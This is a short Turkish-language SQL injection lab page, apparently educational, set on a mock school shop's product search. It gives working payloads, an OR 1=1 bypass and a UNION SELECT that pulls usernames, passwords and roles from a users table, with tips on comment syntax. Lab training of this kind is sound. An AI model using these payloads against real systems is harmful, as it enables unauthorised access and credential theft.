🔐 SQL Injection Laboratuvarı

🛒 Okul Mağazası — Ürün Ara

UNION denemelerinde payload sonuna # ekleyin. Sorgu LIKE '%...%' ile bittiği için -- yorumu burada çalışmaz.

🎯 Görevler

• Görev 1: Tüm ürünleri listele
  ' OR 1=1 #

  # sonrasını yorum satırı yapar (arama sayfasında -- çalışmaz).

• Görev 2 (İleri): Kullanıcı tablosundan veri çek
  ' UNION SELECT id, kullanici_adi, sifre, rol FROM kullanicilar #

  UNION ile iki sorgunun sonuçlarını birleştirirsin!

• Görev 3 (Keşif): Veritabanı adı, tablo ve alanları bul
  Veritabanı Keşif modülüne git →